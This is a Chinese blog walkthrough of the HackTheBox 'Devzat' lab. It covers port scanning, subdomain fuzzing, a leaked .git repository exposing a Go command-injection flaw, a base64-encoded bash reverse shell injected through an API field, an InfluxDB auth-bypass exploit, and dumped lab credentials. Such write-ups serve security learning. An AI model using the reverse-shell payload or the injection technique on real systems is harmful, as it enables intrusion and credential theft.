[hackthebox]devzat

最新推荐文章于 2024-06-12 13:28:50 发布
最新推荐文章于 2024-06-12 13:28:50 发布
阅读量3.1k 收藏
点赞数 1
分类专栏： HackTheBox 文章标签： 渗透测试 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45751765/article/details/123181716
版权

0x00 前言

排点坑
做的时候记得把域名解析追加到hosts里
在这里插入图片描述
全篇基本照着师傅复现

https://blog.csdn.net/weixin_45007073/article/details/122754490?spm=1001.2014.3001.5502

0x01 brain.md

信息搜集

fscan过了一下，没有什么特别有用的信息

start infoscan
(icmp) Target '10.10.11.118' is alive
icmp alive hosts len is: 1
10.10.11.118:22 open
10.10.11.118:8000 open
10.10.11.118:80 open
alive ports len is: 3
start vulscan
[*] WebTitle:http://10.10.11.118       code:302 len:280    title:302 Found
[*] WebTitle:http://devzat.htb/        code:200 len:26     title:devzat - where the devs at

比较普通的一个界面
8000端口连进去是一个聊天界面 暂时没有发现有用的信息
在这里插入图片描述

不过真详细探测还得是nmap fscan也就图一快

nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.118

参数解析

  • -sS syn半开放扫描
  • -A 启用操作系统检测、版本检测、脚本扫描和跟踪路由
  • -sC equivalent to --script=default默认脚本
  • -sV 探测开放端口以确定服务/版本信息
  • -p 指定端口探测
  • –min-rate 每秒最少发包数
┌──(root💀kali)-[/usr/share/seclists]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.118
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-28 14:47 CST
Nmap scan report for 10.10.11.118
Host is up (0.0043s latency).
Not shown: 50542 filtered ports, 14988 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
25/tcp   open  tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http       Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
110/tcp  open  pop3?
8000/tcp open  ssh        (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=2/28%Time=621C7063%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Aggressive OS guesses: Actiontec MI424WR-GEN3I WAP (95%), DD-WRT v24-sp2 (Linux 2.4.37) (92%), Linux 3.2 (92%), Microsoft Windows XP SP3 (91%), Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (90%), Linux 4.4 (90%), BlueArc Titan 2100 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.26 ms 192.168.5.254
2   0.28 ms 10.10.11.118

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 267.83 seconds

dirsearch过一下没有得到什么有用的信息
下一个思路探测子域名
学一下新东西wfuzz (fuzz工具

wfuzz -c -u "http://devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.devzat.htb"

Seclist
参数解析

  • -c 带颜色输出
  • -u 指定请求的url
  • -w 指定字典
  • -hw 根据报文字数隐藏响应
  • -H 使用头

扫到了子域名pets
将pets追加入hosts

└─# wfuzz -c -u "http://devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.devzat.htb"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://devzat.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                           
=====================================================================

000003745:   200        20 L     35 W       510 Ch      "pets - pets"

在这里插入图片描述
dirsearch一把梭 看到git泄露
githack滚一下
在这里插入图片描述

package main

import (
	"embed"
	"encoding/json"
	"fmt"
	"io/fs"
	"io/ioutil"
	"log"
	"net/http"
	"os/exec"
	"time"
)

//go:embed static/public
var web embed.FS

//go:embed static/public/index.html
var index []byte

type Pet struct {
	Name            string `json:"name"`
	Species         string `json:"species"`
	Characteristics string `json:"characteristics"`
}

var (
	Pets []Pet = []Pet{
		{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
		{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
		{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
		{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
		{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
		{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
		{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
		{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
	}
)

func loadCharacter(species string) string {
	cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
	stdoutStderr, err := cmd.CombinedOutput()
	if err != nil {
		return err.Error()
	}
	return string(stdoutStderr)
}

func getPets(w http.ResponseWriter, r *http.Request) {
	json.NewEncoder(w).Encode(Pets)
}

func addPet(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)
	var addPet Pet
	err := json.Unmarshal(reqBody, &addPet)
	if err != nil {
		e := fmt.Sprintf("There has been an error: %+v", err)
		http.Error(w, e, http.StatusBadRequest)
		return
	}

	addPet.Characteristics = loadCharacter(addPet.Species)
	Pets = append(Pets, addPet)

	w.WriteHeader(http.StatusOK)
	fmt.Fprint(w, "Pet was added successfully")
}

func handleRequest() {
	build, err := fs.Sub(web, "static/public/build")
	if err != nil {
		panic(err)
	}

	css, err := fs.Sub(web, "static/public/css")
	if err != nil {
		panic(err)
	}

	webfonts, err := fs.Sub(web, "static/public/webfonts")
	if err != nil {
		panic(err)
	}

	spaHandler := http.HandlerFunc(spaHandlerFunc)
	// Single page application handler
	http.Handle("/", headerMiddleware(spaHandler))

	// All static folder handler
	http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))
	http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))
	http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))
	http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))

	// API routes
	apiHandler := http.HandlerFunc(petHandler)
	http.Handle("/api/pet", headerMiddleware(apiHandler))
	log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))
}

func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {
	w.WriteHeader(http.StatusOK)
	w.Write(index)
}

func petHandler(w http.ResponseWriter, r *http.Request) {
	// Dispatch by method
	if r.Method == http.MethodPost {
		addPet(w, r)
	} else if r.Method == http.MethodGet {
		getPets(w, r)

	} else {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
	}
	// TODO: Add Update and Delete
}

func headerMiddleware(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Add("Server", "My genious go pet server")
		next.ServeHTTP(w, r)
	})
}

func main() {
	resetTicker := time.NewTicker(5 * time.Second)
	done := make(chan bool)

	go func() {
		for {
			select {
			case <-done:
				return
			case <-resetTicker.C:
				// Reset Pets to prestaged ones
				Pets = []Pet{
					{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
					{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
					{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
					{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
					{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
					{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
					{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
					{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
				}

			}
		}
	}()

	handleRequest()

	time.Sleep(500 * time.Millisecond)
	resetTicker.Stop()
	done <- true
}

虽然没学过go但是很清楚的看到一处命令执行

func loadCharacter(species string) string {
	cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
	stdoutStderr, err := cmd.CombinedOutput()
	if err != nil {
		return err.Error()
	}
	return string(stdoutStderr)
}

func addPet(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)
	var addPet Pet
	err := json.Unmarshal(reqBody, &addPet)
	if err != nil {
		e := fmt.Sprintf("There has been an error: %+v", err)
		http.Error(w, e, http.StatusBadRequest)
		return
	}

	addPet.Characteristics = loadCharacter(addPet.Species)
	Pets = append(Pets, addPet)

	w.WriteHeader(http.StatusOK)
	fmt.Fprint(w, "Pet was added successfully")
}

add pet截个包
然后自己截断，构造命令
反弹shell（保险起见，为避免重定位符传输时出现问题可采用base64编码传输）

echo -n "YmFzaCAtYyAnYmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE2LjIvNzc3IDA+JjEn" |base64 -d |bash

在这里插入图片描述
为方便操作 把私钥文件down下来 mobaxterm连一下
在这里插入图片描述
这里的flag是Catherine用户目录下的user.txt
那么就要拿到Catherine的权限
在这里插入图片描述
看进程时找到一个docker
端口8086 不对外网开放
tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN -
这里用一手frp转出来
方便后续使用nmap探测
在这里插入图片描述

└─# nmap -sC -sV -p 8086 192.168.2.26                
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-28 18:56 CST
Nmap scan report for 192.168.2.26
Host is up (0.00076s latency).

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds

google一下存在一个认证绕过的漏洞
InfluxDB Exploit CVE-2019-20933

https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933

直接拿到admin权限
在这里插入图片描述

[admin@127.0.0.1/devzat] $ show measurements;
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}
[admin@127.0.0.1/devzat] $ select * from "user";
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

拿到Catherine的密码
拿下
在这里插入图片描述
最后是提权到root
用Catherine的账号连接到devzat聊天室
可见devzat添加了新功能 密码放在默认备份处
在这里插入图片描述

catherine@devzat:~$ find / -name *backup* -type d 2>/dev/null
/snap/core18/2128/var/backups
/snap/core18/2074/var/backups
/var/backups
catherine@devzat:~$ cd /var/backups/
catherine@devzat:/var/backups$ ls
apt.extended_states.0  apt.extended_states.1.gz  apt.extended_states.2.gz  devzat-dev.zip  devzat-main.zip
catherine@devzat:/var/backups$

雀氏存在dev 和 main两个包
比较两个聊天室发现 8443端口新增了一个file命令 可读取文件内容
在这里插入图片描述
根据提示比较两个zip里的源码
发现有一个secure password
在这里插入图片描述
done
在这里插入图片描述

0x02 rethink

很多东西没见过
属于是medium直接来见世面了

k_du1t
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
hackthebox注册教程
01-20
官方网址：https://www.hackthebox.eu/ hackthebox是一个靶场，听说和vulnhub很像，最近迷上了做靶场，于是就像去hackthebox看看，发现还是注册，而且注册好像还没有那么简单 在首页的最下面有个join,进行点击 发现...
HackTheBox靶机系列之困难Reel
04-09
HackTheBox靶机系列之困难Reel 本篇文章主要介绍了Reel靶机的整个利用过程，从侦察到提权，涵盖了渗透测试、漏洞利用、信息收集等多个方面的知识点。 侦察阶段 在Reel靶机中，我们首先进行了侦察，扫描了21、22、...
Devzat
weixin_45007073的博客
01-31 2653
信息收集 目标主机开放了web服务和ssh服务 访问web服务时，发现只是一个普通的推销网站而已，并且扫描目录文件时也没有发现有价值的信息 dirsearch -u "http://devzat.htb/" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 既然没有有价值的信息，那么我们就得切换思路了，我们得尝试扫描是否存在子域名，存在一个pets子域 wfuzz
数据库漏洞-Influxdb+H2database 复现
xiaoheizi的博客
07-10 727
命令：java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A "服务器ip"抓取/query页面的数据包，将Get请求更改为Post请求，在请求中添加令牌，并且添加 POST 请求键值对：db=sample&q=show users。下载漏洞利用工具：https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0。
CVE-2019-20933-influxdb未授权访问-vulhub
最新发布
c0529的博客
06-12 398
InfluxDB 是一个开源分布式时序、时间和指标数据库，使用 Go 语言编写，无需外部依赖。其设计目标是实现分布式和水平伸缩扩展，是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证，但未设置参数 shared-secret 的情况下，jwt 的认证密钥为空字符串，此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。
【安全资讯】Debian InfluxDB数据库发现身份验证绕过漏洞，需要尽快升级
翼安研习社的博客
01-06 607
来源: TechWeb.com.cn 发布时间：2021-01-04 Debian是一个完全自由的稳定且安全的基于Linux的操作系统,其使用范围包括笔记本计算机，台式机和服务器。Debian是许多其他发行版(例如:Ubuntu、Deepin、Knoppix、PureOS、SteamOS等)的种子和基础。自1993年以来，它的稳定性和可靠性就深受用户喜爱。 1月1日,Debian InfluxDB时序型数据库发现身份验证绕过漏洞，需要尽快升级。以下是漏洞详情： 漏洞详情 来源：https://www.d
数据库安全：InfluxDB 未授权访问-Jwt验证不当 漏洞.
网络安全领域___专研者.
11-11 1211
InfluxDB 是一个开源分布式时序，时间和指标数据库。其数据库是使用​​​​​​​Jwt 作为鉴权方式，在用户开启认证时，如果在设置参数shared-secret的情况下，Jwt 认证密钥为空字符串，这样攻击者就能伪造任意用户身份在 InfluxDB 数据库中执行SQL语句，因此会导致敏感信息泄露和执行威胁到数据库的数据命令.
nmap 指纹收集 kali系统
a1044187112的博客
12-19 2319
nmap www.baidu.com  扫描防火墙是否开启  Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 16:06 HKT Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.039s latency). Not shown: 998 filtered...
keys.zip (hackthebox)
12-05
hackthebox Can you decrypt the message? Zip password: hackthebox
Hack the box的Easy难度比较有价值的靶机.rar
11-04
"Hack the Box"（HTB）是一个在线平台，提供各种虚拟靶机，让安全专家和爱好者通过模拟真实世界的攻击场景来提升自己的技能。这个“Easy”难度级别的靶机是为初学者设计的，旨在帮助他们入门渗透测试的基础知识。 ...
HackTheBox:Hack The Box笔测试和挑战
03-08
哈克盒子Hack The Box笔测试和来自挑战在这里，我们有Hack The Box的演练。
Go-go版本webssh
08-14
go版本 webssh
SSH2.0配置详细手册.pdf
09-28
SSH2的配置说明，从硬件设置到软件配置等的详细说明。
细说——JWT攻击
LainWith的博客
01-05 5360
JSON Web Token (JWT) 是一种标准化格式，用于在系统之间发送加密签名的 JSON 数据。它们理论上可以包含任何类型的数据，但最常用于发送有关用户信息的声明，作为身份验证、会话处理和访问控制机制的一部分。与经典会话令牌不同，服务器需要的所有数据都存储在 JWT 本身的客户端中。这使得 JWT 成为高度分布式网站的热门选择，在这些网站中，用户需要与多个后端服务器无缝交互。它一般会放置在、**Cookie**或者请求体里面。
DAY29（DAY30拓展）：Vulnhub--靶机实战
qq_49433473的博客
08-12 2148
Vulnhub DC-1、DC-2靶机通关手册
vulhub打靶第三周
qq_64201116的博客
09-23 188
靶机下载地址：https://www.vulnhub.com/entry/chronos-1,735/环境折磨导致做晚了，再加上期末的考试多耽搁下来了，然后就是辗转反侧打比赛，拖了这么久，时隔三个月重新开打因为陆陆续续打了两次，所以环境可能变化了，IP不同见谅。
SSH2.0编程 ssh协议过程实现（转）
weixin_34055787的博客
06-03 838
  　　SSh协议： 　　全称为Secure Shell，即很安全的shell，主要目的是用来取代传统的telnet和r系列命令（rlogin，rsh，rexec等）远程登录和远程执行命令的工具，实现远程登录和远程执行命令加密，防止由于网络监听而出现的密码泄露，从而对系统构成威胁。（telnet协议采用明文传送密码，数据传送过程中也不加密） 　　ssh协议目前有ssh1 和ssh2，其实现在...
tcp端口扫描_分布式端口扫描器：Nray
weixin_39785723的博客
12-01 458
这是一个免费的，独立于平台和体系结构的端口和应用层扫描程序。其分布式设计成为它最大的特色，一般情况下，其速度会优于 Nmap。Nray是一个用 Go 语言编写的高级端口扫描程序，除了常规目标（主机/网络列表）端口扫描之外，它还基于证书透明性日志或 LDAP 等来源支持动态目标选择。此外，nray 允许以分布式方式运行以加快扫描速度并从不同的有利位置执行扫描，以此加快扫描速度。然后进一步处理分析结果...
CVE-2019-11477漏洞详解详玩(删)
Netfilter
06-28 6279
几天前，为了备注，2019年的6月17号吧，一个Linux/FreeBSD系统的漏洞爆出，就是CVE-2019-11477，Netflix的公告为： https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md Redhat的链接为： https://access.redha...
hackthebox注册
05-10
如果您想注册HackTheBox，请按照以下步骤操作： 1. 访问HackTheBox网站：https://www.hackthebox.eu/ ... 3. 输入您的电子邮件地址并创建一个帐户。...您可以通过在HackTheBox的论坛上积极参与社区来获得邀请码。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值